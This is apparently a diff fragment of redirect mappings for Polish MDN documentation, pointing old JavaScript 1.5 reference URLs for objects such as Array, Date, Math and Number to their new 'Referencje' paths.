+/pl/docs/Web/HTML/The_Importance_of_Correct_Commenting /pl/docs/Web/HTML/Znaczenie_poprawnego_komentowania
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5 /pl/docs/Web/JavaScript/Referencje
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje /pl/docs/Web/JavaScript/Referencje/Obiekty
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/Boolean /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/Date /pl/docs/Web/JavaScript/Referencje/Obiekty/Date
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/Number /pl/docs/Web/JavaScript/Referencje/Obiekty/Number
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/Object /pl/docs/Web/JavaScript/Referencje/Obiekty/Object
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/String /pl/docs/Web/JavaScript/Referencje/Obiekty/String
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/arguments /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/arguments/callee /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments/callee
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/arguments/caller /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments/caller
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/arguments/length /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments/length
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/decodeURI /pl/docs/Web/JavaScript/Referencje/Obiekty/decodeURI
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/decodeURIComponent /pl/docs/Web/JavaScript/Referencje/Obiekty/decodeURIComponent
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/encodeURI /pl/docs/Web/JavaScript/Referencje/Obiekty/encodeURI
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/encodeURIComponent /pl/docs/Web/JavaScript/Referencje/Obiekty/encodeURIComponent
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/eval /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/eval
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/isFinite /pl/docs/Web/JavaScript/Referencje/Obiekty/isFinite
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/isNaN /pl/docs/Web/JavaScript/Referencje/Obiekty/isNaN
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/parseFloat /pl/docs/Web/JavaScript/Referencje/Obiekty/parseFloat
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/parseInt /pl/docs/Web/JavaScript/Referencje/Obiekty/parseInt
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Komentarze /pl/docs/Web/JavaScript/Referencje/Komentarz
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Komentarze/komentarz /pl/docs/Web/JavaScript/Referencje/Komentarz
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/LiveConnect /pl/docs/Web/JavaScript/Referencje/LiveConnect
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/LiveConnect/JSException /pl/docs/Web/JavaScript/Referencje/LiveConnect/JSException
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/LiveConnect/JSObject /pl/docs/Web/JavaScript/Referencje/LiveConnect/JSObject
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/O_tym_dokumencie /pl/docs/Web/JavaScript/Referencje/O_tym_dokumencie
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/O_tym_dokumencie/Konwencje_formatowania_tekstu /pl/docs/Web/JavaScript/Referencje/O_tym_dokumencie/Konwencje_formatowania_tekstu
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty /pl/docs/Web/JavaScript/Referencje/Obiekty
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array /pl/docs/Web/JavaScript/Referencje/Obiekty/Array
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/concat /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/concat
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Array
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/every /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/every
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/filter /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/filter
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/forEach /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/forEach
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/index /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/index
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/indexOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/indexOf
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/input /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/input
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/join /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/join
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/lastIndexOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/lastIndexOf
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/length /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/length
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/map /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/map
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/pop /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/pop
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/prototype
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/push /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/push
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/reverse /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/reverse
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/shift /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/shift
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/slice /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/slice
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/some /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/some
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/sort /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/sort
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/splice /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/splice
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/toSource
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/toString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/unshift /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/unshift
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/valueOf
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/prototype
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/toSource
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/toString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean/valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/valueOf
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date /pl/docs/Web/JavaScript/Referencje/Obiekty/Date
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/UTC /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/UTC
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/constructor
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getDate
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getDay /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getDay
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getFullYear
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getHours
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getMilliseconds
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getMinutes
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getMonth
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getSeconds
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getTime /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getTime
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getTimezoneOffset /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getTimezoneOffset
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCDate
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCDay /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCDay
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCFullYear
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCHours
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCMilliseconds
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCMinutes
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCMonth
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCSeconds
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getYear
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/now /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/now
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/parse /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/parse
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/prototype
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setDate
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setFullYear
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setHours
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setMilliseconds
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setMinutes
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setMonth
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setSeconds
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setTime /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setTime
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCDate
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCFullYear
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCHours
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCMilliseconds
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCMinutes
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCMonth
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCSeconds
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setYear
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toGMTString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toGMTString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toLocaleDateString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleDateString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toLocaleString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toLocaleTimeString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toSource
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toUTCString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toUTCString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/valueOf
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaArray /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaArray
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaArray/length /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaArray/length
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaArray/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaArray/toString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaClass /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaClass
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaObject /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaObject
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaPackage /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaPackage
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math /pl/docs/Web/JavaScript/Referencje/Obiekty/Math
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/E /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/E
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/LN10 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LN10
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/LN2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LN2
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/LOG10E /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LOG10E
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/LOG2E /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LOG2E
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/PI /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/PI
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/SQRT1_2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/SQRT1_2
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/SQRT2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/SQRT2
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/abs /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/abs
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/acos /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/acos
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/asin /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/asin
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/atan /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/atan
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/atan2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/atan2
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/ceil /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/ceil
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/cos /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/cos
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/exp /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/exp
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/floor /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/floor
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/log /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/log
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/max /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/max
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/min /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/min
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/pow /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/pow
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/random /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/random
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/round /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/round
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/sin /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/sin
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/sqrt /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/sqrt
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/tan /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/tan
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number /pl/docs/Web/JavaScript/Referencje/Obiekty/Number
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/MAX_VALUE /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/MAX_VALUE
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/MIN_VALUE /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/MIN_VALUE
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/NEGATIVE_INFINITY /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/NEGATIVE_INFINITY
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/NaN /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/NaN
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/POSITIVE_INFINITY /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/POSITIVE_INFINITY
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/constructor
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/toExponential /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toExponential
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/toFixed /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toFixed
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/toPrecision /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toPrecision
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object /pl/docs/Web/JavaScript/Referencje/Obiekty/Object
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/constructor
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/eval /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/eval
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/toLocaleString /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/toLocaleString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/toSource
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/toString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/unwatch /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/unwatch
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/valueOf
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/watch /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/watch
